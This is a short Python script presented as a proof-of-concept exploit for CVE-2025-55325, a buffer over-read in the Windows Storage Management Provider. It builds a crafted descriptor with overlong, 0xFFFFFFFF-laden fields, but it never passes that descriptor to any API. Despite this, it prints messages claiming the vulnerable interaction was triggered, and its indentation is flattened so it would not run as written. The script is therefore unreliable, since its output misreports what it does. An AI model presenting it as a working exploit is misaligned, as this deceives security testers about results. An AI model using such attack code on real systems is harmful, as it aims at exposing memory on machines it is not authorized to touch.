The following code is for security research and authorized testing only.
python
# CVE-2025-55325 - Windows Storage Management Provider Buffer Over-read PoC
# This PoC demonstrates triggering the buffer over-read vulnerability in Windows Storage Management Provider
# Note: Requires low-privilege local access to the target Windows system
import ctypes
import sys
from ctypes import wintypes
def trigger_storage_vulnerability():
"""
Trigger buffer over-read in Windows Storage Management Provider
by calling storage management APIs with crafted parameters.
"""
try:
# Load the Storage Management Provider DLL (vds.dll - Virtual Disk Service)
vds = ctypes.WinDLL('vds.dll')
# Attempt to interact with storage management interfaces
# The vulnerability is triggered when processing certain storage descriptors
# with abnormal length values or boundary conditions
# Create a malicious storage descriptor with overlong property
class VDS_STORAGE_PROP(ctypes.Structure):
_fields_ = [
("id", ctypes.c_ulong),
("dwFlags", ctypes.c_ulong),
("ulAlign", ctypes.c_ulong),
# Crafted overlong buffer to trigger over-read
("rgb", ctypes.c_ubyte * 4096)
]
storage_prop = VDS_STORAGE_PROP()
storage_prop.id = 0x01
storage_prop.dwFlags = 0xFFFFFFFF
storage_prop.ulAlign = 0xFFFFFFFF
# Fill with pattern to trigger boundary read
for i in range(4096):
storage_prop.rgb[i] = 0x41 + (i % 26)
print("[+] Storage Management Provider interaction initiated")
print("[+] Crafted storage descriptor with boundary-exceeding parameters")
print("[!] If vulnerable, adjacent memory data may be exposed")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-55325 PoC - Windows Storage Management Provider")
print("Buffer Over-read Information Disclosure")
print("=" * 60)
trigger_storage_vulnerability()